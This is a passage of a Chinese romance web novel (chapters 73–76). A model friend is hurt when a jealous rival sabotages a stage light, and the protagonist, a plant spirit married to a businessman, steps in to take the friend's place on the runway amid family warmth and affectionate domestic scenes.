每天都健步如飞,简直比入院前还要健康。 对此, 段家的人欣慰不已,所有人都为此感到开心, 猜测可能是老天保佑。 而佘念这段时间,除了陪段闻洲一块常回家看看几位长辈外, 便是窝在家中。 因为头顶小秃的意外, 他特意跟经纪人孙哥说了一声, 想近段时间先暂停一会工作, 还特意叮嘱不要告诉段闻洲。 虽然感到不解,但孙哥还是答应了下来,帮他把所有的行程都后延了。 半个月后, 他头顶的头发终于长齐, 不用再戴帽子出门了。 看着镜子里自己的茂密头发,佘念抚着胸口长出一口气。 “哟, 你终于现身了, 我还以为你被你老公关在家里,金屋藏娇了呢。” 这天,佘念跑来找阮晨玩, 看着好久没见的人,阮晨忍不住打趣道。 “嘿嘿,有一点小意外啦, 这不是一有机会就立刻来看你了吗。” 闻言,佘念笑着糊弄过去。 “嗯,那刚好你可以多看看,以后有机会我再带你一起走T台。” 阮晨弯了弯嘴角。 今天,阮晨是在为半个月后的秀场排练,和佘念主攻平面模特不同,他其实是走T台模特出身的,能接触到很多高级秀场,拍广告更像是工作调剂。 “你老公他坐在那边诶,要不要喊他一起过来?” 余光瞥见附近坐着的齐子修,佘念犹豫了一下,试着开口问道。 “不用,我让他别来的,他自己非要跟来而已。” 闻言,阮晨看了一眼齐子修所在的方向,当人循着目光看来,对上视线时,他便像被烫到了一样,火速偏头避开。 “反正又是在学你们而已。” 他摸了摸鼻子,小声嘀咕着。 “嗯?你说什么?” 没听清的佘念追问。 “没什么,我先去候场了,你在这等我一下。” “噢好,排练加油呀。” 其实佘念也很好奇走秀是什么样的,因为他还没接触过这类工作。 随着彩排开始,阮晨作为开场模特第一个出场,在他登上舞台的瞬间灯光亮起,汇集在人的身影上,照出他黄金比例的修长身影。 黑色的休闲西装熨帖地穿着他身上,特意舍弃了内搭,深v的领口一直开到肚脐,展现出他漂亮的肌肉和身体曲线。 踩着音乐的点,阮晨迈着稳健的台步走出。 “哇,好帅。” 台下的佘念仰着小脑袋瓜,情不自禁地感慨道,满脸崇拜。 不愧是模特界的前辈,阮晨台步稳健,气质出众,基本功扎实,显然是经过多年的训练才会有如此深厚的功力。 要是以后自己也能走T台就好了,看上去好耀眼。 音乐,灯光都格外完美,彩排很顺利,可没想到就在阮晨走到舞台尽头时,意外陡生。 就当他在尽头站定,准备掉头回程的瞬间,上方的大灯摇摇欲坠,紧接着突然坠落,以迅雷不及掩耳之势对准他的方向砸了下来。 “阮晨——” 在大灯落下的瞬间,后方的齐子修瞳孔骤缩,只觉恐惧爬满了心头,惊呼出声 他腾地一下站起身,然后毫不犹豫地大步直奔过来,想要用最快的速度救下人,但终究还是慢了一步。 钢铁材质的大灯重量大概有十几斤,从那样的高度砸下,几乎可以把人的脑袋砸开花。 “咚”的一声巨响落地,烟尘四起,在场所有人都倒吸一口冷气,一时间惊叫声、呐喊声与慌乱的脚步声混为一团,现场格外混乱。 “阮老师!阮老师!” “愣着干什么,赶快叫救护车啊!!” “谁负责的这个灯光设备??没有提前检查的吗!!” 被眼前的意外吓得好半天才回过神,佘念猛地惊醒,立刻冲上舞台想救出阮晨。 但后方却有人比他动作还快,擦肩而过抢先冲了上前。 只见齐子修拨开人群,以最快的速度扒开散落在地上的一片狼藉,将阮晨从下方救了出来。 好在阮晨反应迅速避开了,大灯没有伤到命门,只砸到了他的肩膀,擦伤了额头,鲜血汩汩向外渗出。 “阮晨?!你还好吗?” 揽着人的手在轻颤,就连嗓音也带上了明显的颤音,齐子修顿时只觉大脑空白,什么都无法思考。 “……疼。” 而此时阮晨的意识已经陷入混沌,视线迷蒙,像只受伤的刺猬一样,终于肯对人露出脆弱的肚皮。 换做平常,即使受伤,他也不会对齐子修示弱。 但是今天,他实在是太疼了。 肩膀和锁骨处大概已经骨折,刺骨的痛意源源不断传来,针扎般钻心地疼,额间伤口的失血也令他的大脑昏昏沉沉,本能地去依靠身边的人。 听见怀中的人喊疼,齐子修只觉前所未有的感觉涌上心脏,仿佛有一只大手狠狠地扼住了他的心脏,一时间连呼吸都忘了。 于是他迅速将人打横抱起,一向波澜不惊的他头一次如此有失风度地大喊: “救护车呢?救护车来了没有!” “齐总,这边!” 闻言,佘念连忙举起手对人挥了挥,示意救护人员已经赶来了。 等阮晨被送上救护车后,佘念和齐子修一块陪同去了医院。 在去医院的路上,齐子修的手一直紧紧握着阮晨的,从始至终都未松开。 他一边不断低声安慰着担架上的人,语气里是自己都没意识到的温柔,一边抽空给助理打了个电话,让他现在就赶去现场,立刻调查清楚意外产生的原因。 赶到医院后,阮晨马上被送进了手术室。 守在门外,佘念给段闻洲发了消息,告诉他自己现在在医院后,便看向齐子修,一时间也不知道该不该出声安慰人。 因为此时的齐子修单手攥紧,狠狠地对着墙面砸了一拳,然后就低下头来。 一言不发,神色还阴沉得有些吓人,叫小蛇舌草不敢上前搭话。 就在佘念犹豫该怎么缓解眼下略显尴尬的气氛时,余光一瞥,竟发现了让他意外的一幕。 只见一颗晶莹的泪珠,从齐子修的眼角滚落,沿着脸颊轮廓滑下,最终打湿了衣角。 “那个,齐总,您擦一擦吧。” 见状,佘念小心翼翼地上前,鼓起勇气给人递了一张纸巾。 听见他的话,齐子修像是才回过神来,怔怔地摸了摸自己的脸颊,在触碰到湿润的痕迹后,脸上的怔愣加深不少。 “我……哭了?” 他喃喃道,语气里似乎有着讶异。 怎么对自己哭了这事这么意外? 但总觉得眼下似乎不是自己该问这个问题的时机,给人递完纸巾后,佘念便默默退回到走廊的椅子上。 看着齐子修黯然落泪的表情,以及回想起他方才慌乱的模样,眼下的他哪还有半点之前见过的波澜不惊和面无表情。 会为阮晨的受伤难过成这样,佘念怎么想也觉得并不像之前所听说的那样冷漠。 虽然小蛇舌草不懂喜欢,但这个反应,怎么看都不像是不喜欢的样子。 更何况,这种情况下要是换了其他人,齐子修肯定不会有这种反应的,这怎么不算是一种特殊呢? 这种感情,和阮晨的应该是一样的吧? 半懂不懂的佘念琢磨起来。 一小时后,手术室终于打开了门。 “谁是患者阮晨的家属?” 当医生发问时,齐子修快步上前,焦急地询问着情况: “我是,医生他的情况怎么样?” “别担心,没有生命危险,就是胳膊和锁骨骨折,肋骨也断了三根,还有些皮外伤,需要卧床静养一段时间。” 医生回答道。 闻言,在场的两人这才放下心来。 由于麻药药效还没过,所以阮晨被送回病房里,等待苏醒。 恰好这时,段闻洲也赶了过来。 “情况怎么样?” 他一来,佘念就黏了上去,小兔子一样挽住其胳膊。 “没有大碍,需要休养一段时间。” 齐子修回答道,眼神却始终没从阮晨的身上移开。 “秀场的负责人我认识,在事故起因调查方面有需要帮忙的尽管开口。” “好,多谢。” 麻药过后,在几人的交谈中,阮晨缓缓睁开了眼皮。 “感觉怎么样?” 最先察觉到人醒来的是齐子修,他立刻俯下身来,在人耳边轻声问道。 “……好疼。” 阮晨哑着声,气若游丝地说道。 听见他喊疼,齐子修只觉心脏也跟着一抽一抽地疼,他说不清这种感觉是为什么,只是恨不得疼痛能转移到自己身上。 但偏偏他什么也做不了,只能紧紧握住人的手,口中斟酌片刻后说着: “那我去找医生开一针止痛剂。” ……笨死你算了。 换做之前,阮晨可能也就随其去了,但眼下刚从生死边缘游走回来,他本能地想依赖心爱之人。 所以,当齐子修准备起身去找医生时,手却被拉住了。 他愣了愣,顿在原地好几秒,然后才想起低头看去。 而阮晨什么也没说,只是将头往被子里埋了埋,但抓住人的手并没有松开。 一时间,齐子修竟忘了是该先松开手去找医生,还是先坐下来好好陪着人,就只是那么呆愣地站在原地。 “齐总,您陪着阮晨吧,我们去找医生。” 看出他为难的样子,佘念主动开口。 “好,那就麻烦你们了。” 这才回过神来,齐子修连忙道谢。 医生来给人打了一针止痛针后,精神状态不太好的阮晨说了几句话后,很快就又困了。 于是佘念和段闻洲两人便道别,准备明日再来探望。 合上病房门时,佘念转身回头看去。 透过门上的玻璃,他望见了齐子修脸上担忧与心疼的情绪,满是心疼。 瞧见这幅表情,又回想起两人之间的婚姻和感情,他若有所思。 第74章 “在想什么?还在担心阮晨吗?” 开车回去的路上, 见佘念还是紧抿着唇,在拧眉沉思的模样,段闻洲出声问道。 “嗯?啊?” 听见人的话后才回过神来, 佘念一惊, 慌慌张张地偏头看向驾驶位上的人, 张了张嘴,茫然地发出询问。 ——一看就知道刚才心不在焉。 “我说, 你在想什么呢,这么出神?” 瞧见人迷茫的大眼睛, 段闻洲哑然失笑,等红绿灯的间隙腾出一只手揉了揉他。 “我在想阮晨, 还有齐总的事。” 缓慢地眨了一下眼睛, 佘念坦白道。 “老公, 你说齐总他喜欢阮晨吗?” “怎么突然问这个?” “嗯……就是刚刚看着齐总的眼神, 好像不太对劲,阮晨总说齐子修不喜欢他,可我看那样的反应不像。” 如果说这种感情都不是喜欢的话, 那为什么又会着急成这样, 还会黯然落泪? 但如果这就是喜欢的话,为什么阮晨又感受不到, 并且不这么认为呢? 好复杂噢, 完全想不通人类的这些情感,我们的小蛇舌草无奈地叹了口气。 “我觉得,他应该是喜欢而不自知的。” 抿了抿唇, 段闻洲的视线在小朋友的身上打了个转,然后缓缓地回答道。 ——记得之前在私下场合里,齐子修所问过自己的那些问题, 内容都是关于阮晨的,这就代表着阮晨对他很重要,只是他本人还未意识到这种感情罢了。 既然阮晨对他来说是如此特殊的存在,那毫无疑问是喜欢的。 “喜欢别人,自己还会不知道的吗?” 居然还会这样吗?佘念的眉头拧得更深,更加不解了。 “当然,世界上就是有这种笨蛋的。” 一边说,段闻洲的嘴角一边勾起。 哎呀,怎么感觉越来越复杂了呢?完全想不明白的问题又多了一个。 算了不想了,遇到困难睡大觉,小蛇舌草长叹一口气,决定暂时先不管了,等以后脑子够用了再琢磨。 第二天一大早,佘念就赶去了医院探望。 昨天那会被吓到了,差点都忘了自己是有治愈系的法力来着,他决定今天给好朋友输送一点治疗的法力,好加快人的恢复。 刚来到病房门口,他就听见里面传来了阮晨的声音: “我自己来就行……算了那你要喂就喂吧。” “……我要吃这个,再来一口……别光给我夹菜啊,难道你自己不吃吗?” “诶佘念,你来了?” 听见敲门声,看清来人是佘念后,阮晨惊喜地看来。 “嗯,我来看看你。” 说着,佘念晃了晃手中的果篮,闪身进了病房。 只见病房内,阮晨正坐在病床上,他的胳膊打了石膏,被吊带固定了起来,而齐子修则坐在一旁,手里拿着饭盒,正耐心地一口一口喂人吃饭。 “还有最后一口。” 见阮晨还想继续说什么,齐子修舀起最后一口粥,喂到了他的嘴里,示意他先吃完。 喂阮晨吃完早饭后,他还不忘拿起纸巾,仔细地替人擦了擦嘴角。 “唔——行了我吃完了,你回去吧,反正有护工在这里守着。” 就像一只被没收作案工具的野猫,要是换做之前,阮晨早就把人直接推开了,哪还会乖乖一口一口吃饭。 但偏偏眼下胳膊骨折,没法赶人,只能就着人的手吃饭。 “我去把碗洗一洗,你们聊。” 也不提是否要离开,齐子修只是拿着饭盒起身离开病房,把空间留给两人。 在经过佘念身边时,他还对其微微颔首,算是打招呼。 “你还好嘛?” 将果篮放在床头,佘念眨巴着眼坐下,一边说一边轻轻用手覆盖住人的手背,悄悄给阮晨输送一部分法力。 “别担心,没生命危险,休息几天就又能活蹦乱跳了。” 阮晨对他露出一个轻松的笑,还抬了抬自己的胳膊表示无碍。 “昨天真的吓死我了。” 一回想起昨天的事,佘念到现在都还心有余悸,那么大个灯就当着自己的面砸了下来,太吓人了。 他拉住人没事的那只手轻轻晃了晃,嘴角扁了扁。 “诶别这么伤心啊,我不是没事吗,你反倒看上去跟要哭了一样。” “我才没哭呢,哭了的明明是你老公。” “啊?” 这话一出,给阮晨弄茫然了。 “昨天你是没看到,手术室外齐总一直寸步不离守在那,眼泪突然就流下来了。” 热心的小蛇舌草把昨天齐子修落泪的画面给人详细描述了一番,并搭配上生动的肢体动作,声情并茂的样子,不知道的还以为他在讲话本呢。 “你是说,我进手术室的时候,齐子修哭了?” 想象了一下那副画面,阮晨呼吸一滞,拳头下意识捏紧了被单。 “嗯呐。” 再一次得到肯定的答复后,他忽然间觉得心脏砰砰狂跳起来。 齐子修哭了?是因为自己受伤的事吗? 如此淡漠,又缺失情感的一个人,居然会为自己而流泪? 他为什么会这样? 一种曾经不敢奢望的猜测浮上心头。 但是阮晨又不敢妄下定论,毕竟上一次小丑般的自作多情还历历在目。 见他神情忽然低落起来,抿紧嘴唇,佘念还以为自己说错话了,小心翼翼地问: “那个,我是多嘴了吗?” “不,抱歉是我走神了。” 猛地醒过神来,阮晨嘴角扯出一个笑,笑容却未达眼底。 就在两人间的气氛突然沉默起来时,恰好齐子修回来了。 “吃苹果吗?” 洗饭盒的同时,他还顺手洗了点水果,问阮晨要不要。 “随、随便。” 脑子里还在胡思乱想,结果当事人还在问要不要吃苹果,哪还有心思回答的阮晨下意识应道。 于是齐子修点点头,坐下后默默拿过刀,主动替人削起水果皮来。 还特别体贴地给佘念也额外削了一个。 “谢、谢谢,不用了。” 即使是嘴馋的佘念,这时也莫名觉得自己不该接这个苹果,连忙摆摆手婉拒。 “客气什么,给你的就接着呗。” 反倒是阮晨一把将苹果塞进了他手中,大口磕巴啃起来了。 “对了,你认识崔景然吗?” “认识啊,之前还因为工作的事跟他吵过一架,怎么了?” “这次意外的原因调查清楚了,是崔景然花钱混进了后勤场务,故意拧松了灯光的螺丝,导致坠落事故。” 齐子修缓缓道。 “靠!居然是这家伙干的!” 闻言,阮晨气得苹果都吃不下了,猛地锤了一把床。 “冷静点,别伤着自己。” 见状,齐子修立刻握住了人的手,免得他加重胳膊的伤势。 “那家伙比不过我,就开始玩阴的了是吧。” 阮晨骂骂咧咧,满肚子气。 “他已经被抓起来了,据交代他是为了让你不能走秀才下手的。” 齐子修一边抚着人的后背,一边轻声安慰。 原来,这个崔景然也是模特,和阮晨是竞争对手,在竞争这次秀场的开幕模特嘉宾的过程中,他没有比过阮晨,因此心生怨怼,才使出了这种阴招,想要让自己上位。 “他是不是想让我上不了场,然后他好自己上,做梦去吧!气死我了!” “而且,他们公司在试图推出另两个模特来顶替他的位置,还有你的。” “做梦吧他们!这是打算什么好处都占了是吧!” “别急,我会让他们付出代价的。” 说到这,齐子修神色暗了暗,早已搜集好崔景然还有他背后公司的黑料,准备找时间全部爆出。 咽不下这口气的阮晨气炸了,忽然余光一瞥,想起了旁边啃苹果的佘念。 “佘念!你去替我走秀?” 忽然间,他说道。 “啊?我?” 默默吃苹果的佘念嘴巴一顿,脖子一伸,蒙圈地指了指自己。 “对,你去,我相信你肯定能行。” 按照佘念的表现力和外在条件,走这场时装周的t台完全没问题,与其让那个贱人和他的公司得逞,不如让佘念接替自己。 说干就干,阮晨立刻掏出手机,给自己经纪人去了个电话。 “我让我经纪人和你的经纪人对接去了,如果你能把握住这次机会的话,可以突破一下业务风格。” 挂断电话后,他看向人道。 “我、我真的可以吗?” 见状,佘念嘴巴张成了一个大大的O型。 他从来没接过走秀这方面的工作,倒不是不想,而是没有机会接触到该领域,眼下阮晨愿意主动引荐,那便是再好不过的机会了。 “怎么不可以,不过我也不能保证你一定能拿下这个位置,还是得看你的实力。” 因为具体能不能上台,还得看他的条件能不能过关,万一达不到舞台的要求,也是会被刷下来的。 而阮晨能做到的,只是向负责人亲自推荐。 虽然说,能有阮晨的推荐,也是业内多少人梦寐以求的金门票。 “好,我一定努力!谢谢你!” 感激之情溢于言表,佘念感动极了,一时间也不知道该怎么表达,便也学着方才齐子修的动作,给人削了个橙子。 “诶诶行了啊,把我当珍稀动物了,尽投喂水果是吧。” 看着他谄媚的笑,阮晨戳了戳他的额头,好笑地说。 ———— 秀场那边反应很迅速,在确认阮晨因伤无法参与走秀后,就立刻启动了替补方案,开始筛选候补人选。 由于佘念外形条件合适,外加阮晨的大力推荐,所以秀场负责人大胆地做出了决定,采用佘念来顶替阮晨的位置。 得到消息后,佘念兴奋不已,当场提着鲜花和果盘,再次赶去医院对阮晨表示感谢。 而段闻洲也很高兴小朋友能体验秀场,为了各种便宜行事,他同秀场的品牌方进行了对接,初步谈定了日后的投资和合作。 为了更好地实现舞台效果,公司对佘念开展了高强度培训。 “小朋友,该吃饭了,别练了。” 晚饭时分,段闻洲敲了敲形体房的门,提醒佘念到饭点了。 ——没想到,大平层里新装修的这间形体房这么快就派上了用场,在家时佘念也能在里面训练。 “我歇一会,好累哦。” 闻言,佘念停下动作,泄力地顺着镜面滑坐在地。 “老公,我肌肉好酸,你帮我按按——” 第75章 “好。” 看着大咧咧躺在地上的小朋友, 还撒娇般地抬起脚对自己勾了勾,段闻洲不由得宠溺地弯了弯眼睛,格外乐意被人使唤, 笑着上前。 “是这里酸吗?” 只见他在地板上坐下, 将佘念的腿搭在自己的腿上, 力道轻柔地给人揉按起来。 “嗯对,位置再稍微上去一点点。” 因为长时间站立而酸痛的肌肉被人按得格外舒服, 累瘫了的小蛇舌草哼唧几声,被揉按得极其舒坦, 都不想爬起来了。 本来他只是想开玩笑地让人给自己按摩,但没想到人真的动手了, 便索性享受起来。 “这个力道可以吗?” “可以的可以的, 谢谢老公呀。” 被人伺候着, 佘念舒服得眼睛都眯了起来, 仿佛一只被撸得露肚皮的猫,就连语气都带上了几分撒娇。 语调黏腻,尾音拉得极长, 甜得仿佛在蜜糖里浸泡过。 “嗯啊——好舒服呀。” 当被人按到大腿中间时, 佘念被摸得有些痒痒,嘴角下意识泄出异样的嘤.咛。 这句话听上去, 似乎怎么听怎么奇怪, 特别是在两人现在这样亲昵的动作下。 ——眼下两人一坐一躺,佘念平躺地上,两条修长的腿搭在人身上, 乖得一动不动,掀起的衣摆下露出了一小抹雪白的平坦小腹。 而段闻洲则坐在地上,大手握着其大腿根部, 轻轻揉捏着,手背的青筋和性.感的手腕随着动作而暴.露。 那只手很大,大得几乎能一把握住人的腿部。 这样的距离,似乎有些太暧.昧了。 耳朵捕捉到这些低.喘似的拟声词,段闻洲耳尖一红,没来由地联想到了某些不能播的画面,顿时尴尬地清了清嗓子,赶跑脑海里的胡思乱想: “还疼吗?不疼的话就去吃饭吧。” “噢,好的。” 其实佘念还有些恋恋不舍,因为被按摩得真的很舒服,但他也知道自己已经麻烦人很久了,便乖乖地坐起身来。 而且刚好也有一点饿啦,想吃老公煮的饭。 这一起身,距离陡然拉近,两人面对面的脸颊近在咫尺。 “谢谢老公。” 对于这样近的距离毫无知觉,看着对面的人,佘念咧嘴乖软一笑,然后飞快地在人的嘴唇上偷亲一口,表示感谢。 “客气什么。” 唇瓣上传来的触感短暂又柔软,段闻洲先是愣了愣,随即露出一个宠溺的笑。 紧接着,他也附身回以一个温柔的浅吻。 偌大的形体房中,暖黄的夕阳撒下余晖,织成金纱铺满室内,笼罩了住亲吻的二人。 一时间,他们谁也没有先一步起身离开。 ———— “你确定只吃这个就够了吗?” 从形体房出来后,段闻洲将晚饭端上餐桌,看了看佘念跟前的沙拉,欲言又止。 虽然说这是小朋友钦点的菜品,但怎么看都觉得份量不够,会吃不饱。 “嗯,经纪人说我最近要控制一下体重,为了上镜效果最好再减五斤下来。” 因为瘦一点面对秀场镜头才会更好看,所以佘念最近在减肥,晚饭特意让老公给自己准备了沙拉。 “还要减肥?” 闻言,段闻洲皱了皱眉。 本来就够瘦的了,要是再减肥,那不是又变回最开始营养不良的样子了吗? “嗯呐。” 毕竟是为了工作,佘念一点也不介意,看着面前绿油油的沙拉,心想一定要克制住自己的嘴。 ——只不过,当段闻洲开动时,他就有点控制不住了,视线止不住地向对面瞥去。 都怪饭菜的香气太诱人了。 本来沙拉也挺好吃的,被这么一对比也显得食之无味了。 察觉到对面人偷看的目光,段闻洲哭笑不得。 “要来一口吗?” 他问道。 倒真不是自己要故意破坏小朋友的减肥计划,主要是小朋友那眼巴巴的眼神,实在叫人于心不忍。 “好啊……不对我不要。” 险些顺着人的话答应了,好危险,得亏反应过来了,佘念连忙甩了甩脑袋,对不良诱惑勇敢说不。 好吧,不要就不要吧,还好自己刚刚专门往沙拉里多放了十几个虾仁,就是为了防止小朋友只吃草挨饿。 毕竟按照佘念平常的饭量,普通的一份沙拉是远远不够的。 反正虾仁不胖人,多吃一点怎么了。 段闻洲不由得心想。 可话虽这么说,但吃着吃着,他只觉对面紧盯的视线如炬,仿佛有实质一样盯着自己,即使不抬头也能察觉到。 “……佘念,要不你就吃一点吧,减肥期是可以吃牛肉的。” 段闻洲默默放下筷子,邀请着小朋友。 见被发现,佘念迅速把脑袋低下去,假装在埋头吃饭,但在听到后半句时,又猛地抬起了脑袋,眼睛亮晶晶地问: “真的吗?” “真的,不骗你。” 一看就是嘴馋了,段闻洲忍俊不禁,主动夹起一块牛肉递到人嘴巴。 诱惑都送到嘴边了,那还有不吃的道理。 在经历了一秒的思想斗争后,我们的小蛇舌草精还是选择了对不良诱惑说all。 “唔!好吃!” 吃到了心心念念的肉,佘念眼底倏地睁大放出亮光,心满意足地捧着脸感慨。 “还要吗?” 就在段闻洲准备喂第二口时,却得到了否定的答复。 “嗯……不要了。” 只见小朋友回味地舔了舔嘴唇,居然拒绝了。 火红的小舌舔过唇瓣,水光和油光一块覆盖在嘴唇表面,亮晶晶的,像是涂了一层蜜蜡的果冻,看上去就很柔软。 “不吃啦,吃一点过过嘴瘾就好,我还得继续减肥呢。” 不然太胖就影响舞台效果,辜负大家的期待了,敬业的佘念努力克制住了自己。 见状,段闻洲也没再强求,只不过在心底琢磨起来。 虽然说小朋友是因为热爱才去当模特的,但是为了走秀一直饿肚子减肥,是不是也对身体太不好了? 看来得跟他经纪人说一声才行。 不过,这也是职业的需求,提了的话似乎会干涉他的工作。 还是算了,先让人按工作需求来好了,万一日后做得太过火了,自己再出声提醒,不要贸然插手他的工作。 小朋友么,总有自己的天地要去闯的,不可能一直被庇护在温暖的港湾。 想到这,段闻洲的眉眼柔和起来,不由得期待起秀场开幕的时间。 到了那天,既能见到舞台上耀眼的佘念,也能让人尽早结束节食减肥的日子。 ———— “佘念,别忘了今天要回主宅吃饭,我现在去接你?” “好哦老公,那我在公司等你。” G.D大楼的训练室内,佘念擦了擦汗,挂断电话。 “今天的训练就到这里吧,明天再继续。” 听到老师这句话后,他礼貌道别,然后便迅速抓上包冲进电梯。 猴急得就像个下课去食堂抢饭的学生一样。 虽然说吧,楼下等着他的不是午饭,而是老公。 “我来啦——” 副驾的门被打开,是咧嘴笑着的佘念坐了进来。 见他额间的汗都没顾得上擦干,段闻洲掏出手帕来,仔细替人擦了擦。 “老公你快看,我好像锻炼出肌肉来了。” 说着,他挽起袖子,绷紧胳膊做出健美的姿势,对人展示自己的成果,还用眼神疯狂暗示人快来摸一摸。 ——快来摸快来摸!这可是我的肌肉! 只见曾经还瘦削的细胳膊细腿,如今上面已然能看出肌肉线条的痕迹,练出了几分薄肌。 “嗯,很棒。” 见状段闻洲笑着,很给面子地捏了捏他的胳膊,还十分捧场地夸赞道。 “看看你的。” 本兴致勃勃地想比一比,佘念掐了掐老公的手臂,但在感受到人有力结实的肌肉后,最终讪讪地收回了手。 ——可别小看段闻洲平时泡健身房的效果,虽然天天坐办公室,但也坚持锻炼,所以他的身材极好,典型的穿衣显瘦脱衣有肉,一看就是很有男性荷尔蒙的性感躯体。 “你的好大好粗噢。” 被比下去的小蛇舌草十分挫败。 “咳咳——” 被他如此恰到好处的省略表述给呛到,段闻洲没忍住剧烈咳嗽起来。 “那个,下次有机会带你一起去健身房。” 他尴尬地摸了摸鼻子,连忙转移话题。 “好啊好啊。” 丝毫不知自己刚刚说了什么虎狼之词,佘念忙不迭点头,满口答应下来。 汽车向着主宅的方向驶去,今天两人被于秋柳邀请,一家人一块吃个饭。 毕竟自从段老爷子住院后,一家人就很少能有机会坐在一起了,如今老人家出院,终于可以一起聚一聚了。 “爸,妈,爷爷,我们回来啦——” 车一驶入花园,于秋柳就已经提前在门口等着了,下车后佘念脸上挂着甜甜的笑,走上前去。 “诶,你们来了呀?训练累不累啊宝贝。” 一看见乖巧听话的佘念,于秋柳就喜欢得紧,搂住人的肩膀关切地询问。 “妈,先进屋吧。” 看着门口其乐融融的两人,被“冷落”的段闻洲哑然失笑。 屋内段风华和老爷子也在等候着了,见两人到来,同样喜欢得紧。 痊愈后的老爷子精神势头好了不少,特别是在出院后还喝了佘念配的中药调理,如今可以说是无病一身轻。 而段风华虽然平常不苟言笑,但在看到两人到来,嘴角也勾起了一个微不可察的弧度,神色温和了几分。 饭菜早已提前备好,而且为了迎合这段时间佘念减肥的需要,菜品全都安排的是低脂肪高蛋白的原材料,例如牛肉、虾和鸡肉之类的。 ——这样小朋友也不需要忌口,可以多吃一点东西。 “小念啊,最近工作怎么样?我听闻洲说你要去走秀是不是?” 饭桌上,老爷子亲切地问道。 “嗯,下个礼拜就要上场了。” 闻言,佘念用力地点点头。 “放轻松宝贝,别紧张,工作加油。” “遇到什么困难都可以跟闻洲说,让他想办法帮你解决。” 对于模特这样的工作,段家的人并未觉得太不入流、难登大雅之堂之类的,都认为既然是佘念自己的选择,那支持就好。 “最大的困难就是要减肥,最近他都瘦了五斤了。” 忽然被点名的段闻洲笑着摇摇头“告状”。 “哎呀,难怪说看上去瘦了好多,等工作结束后多回家吃饭,我给你补补。” 捏了捏人的胳膊,于秋柳心疼地感慨,而后像是又想起来了什么,立刻转身回房。 从房里出来时,她手中多捧了一个首饰盒出来。 ——里面装着的,都是她平常自用的昂贵首饰。 第76章 “我听说模特们化妆的时候, 最好都带自己的饰品,这样妆造效果更好。” 说着,于秋柳把首饰盒推到佘念跟前。 “宝贝, 到时候你做造型, 就用妈妈这些首饰好了, 还缺什么就告诉我。” 一般模特做造型时,都会需要各种饰品搭配, 但碍于模特过多,后台人员混杂, 所以秀场所准备的饰品品质都不会太好,很多有条件的模特通常都会自备。 想到佘念一个男孩子肯定没什么首饰, 所以于秋柳便将自己的借给了他。 ——毕竟也是段家的人, 当然不能输给其他人。 自从见过佘念和自家儿子和谐相处, 感情很好的样子后, 于秋柳就愈发拿他当亲生的看待,视如己出。 这样一个又乖又软的小孩子,实在是太招人喜欢了。 “这、这么多吗?” 感觉到怀里沉甸甸的重量, 不用看也知道放了多少饰品, 佘念愣了愣,不知该不该拿, 下意识向段闻洲投来求助的目光。 这些首饰都是于秋柳自用的, 其品质和价格可想而知,大概都值好几套房子了,就这么顺手借给自己用真的合适吗? “既然是妈给你的, 就拿着好了。” 看出人脸上的惶恐,段闻洲笑着劝道。 “那谢谢妈妈。” 见状,佘念便不再推拒, 大大方方地收下了,打算等用完以后再完璧归赵。 “对,在外面不能输给其他人,我们小念要不就不干,要干就得当第一。” 紧接着,段老爷子也缓缓开口。 他自然也是喜欢佘念这小孩的,特别是在发现这小朋友性格温润,平易近人,还会配中药给自己调养时,就更喜欢得紧了。 “小念,我那里还有些上好的补品,到时候让人送你那去,吃了补补身体,听说气色好了化妆也会更好看。” “好、好的,谢谢爷爷。” 吃着吃着饭,突然收到这么多礼物,佘念有些受宠若惊,都不好意思起来。 就在两位长辈都围着佘念嘘寒问暖时,段闻洲默默把视线偏向了低头喝汤的父亲,挑了挑眉。 视线里无声发出询问: ——妈和爷爷都送了东西,那你呢? “咳咳,我说你们,一个个的都这么着急做什么,不是说好吃完饭再给的吗。” 感受到目光,段风华尴尬地清了清嗓子,然后从口袋里掏出一张黑卡,推到佘念跟前。 “来小念,这张卡你拿着,有什么想买的东西就刷卡买,千万别委屈自己。” 在父亲生病的那段日子,段风华也见到了佘念在医院跑上跑下,帮着照顾老爷子的举动,知道这孩子孝顺懂事。 如果说之前他还只是对人有好感的话,那么现在就已经完全是拿其当自己人了。 “谢谢爸爸。” 知道这张卡代表着什么,因为之前老公也给过自己一张,佘念连忙道谢,顿时觉得手里的卡沉甸甸的。 一场家宴下来,莫名成了团宠的他反倒拘谨起来了,乖乖地低着头,不管长辈问什么都软声回答。 瞧见他局促的神色,段闻洲忍不住低笑,给人夹菜的同时不由得思考起来。 自己提前准备的礼物类型都被长辈们送过了,那该重新准备点其他的什么比较好呢? 晚饭结束后,两人又在主宅里坐了一会,陪长辈们聊了会天,见时候不早便要回市中心了。 本来于秋柳是想让两人留宿在这边的,不过为了方便佘念明天去公司训练,两人还是婉拒了。 “那爸爸妈妈爷爷再见,下次再回家。” “好,开车慢一点,路上小心。” 当汽车驶离主宅时,佘念的小手挥得跟雨刮器似的,不停摇着冲长辈们道别。 回到家后,站着玄关处,段闻洲却没有急着进去,而是停下转身看向佘念问道: “小朋友,你还有其他想要的东西吗?” “什么?” 听人突然这么问,佘念歪了歪头,有些不解。 “爸妈还有爷爷他们都送了你鼓励的礼物,但是我还没有,原本我准备的礼物都被送了。所以问问你还有其他想要的吗?不管什么都可以。” 不管是什么,只要佘念开口,自己都可以送。 “礼物吗?真的什么都可以?” 听见这话,小朋友眼睛倏地睁圆,亮晶晶地冒着光。 “当然。” “那,我想要一个你的抱抱,可以吗?” 说着,佘念对人张开了双臂,羽扇般的睫毛扑闪扑闪,期待地望了过来。 “一个抱抱就够了吗?” 得到意外的回答,看着人张开的怀抱,段闻洲反而愣住了。 一个拥抱? 居然这么简单的礼物就能满足了吗? “不止哦,走秀开始前,你每天都要给我一个抱抱才行。” 一个不够,要每天一个才行,佘念骄傲地昂了昂下巴。 ——小蛇舌草才不是这么容易满足哒,狮子小开口地要求每天一个才行。 “因为我会紧张,但是如果被你抱着的话,就会放松很多,我喜欢你抱我。” “啊如果可以的话,每天能也给个亲亲就最好啦。” 不知道为什么,来自老公的亲亲抱抱像是有魔力一样,能让自己觉得舒服和愉悦,也会令自己感到放松。 对面的小朋友都这般主动邀请了,要是自己再没有反应,那恐怕就不是男人了。 听着佘念如此撩拨的话语,段闻洲只觉心底一软,痒意肆意生长。 静谧昏暗的玄关中,仿佛都能听见某人如鼓点般悦动的心脏声。 扑通扑通,每一声像是在散发着爱意,向外寻求共鸣。 紧接着,他无声笑了笑,上前一步,抬起手臂将人拥入怀中。 结实的胳膊紧紧环住人的后背,将矮一头的佘念完全抱进自己的怀中。 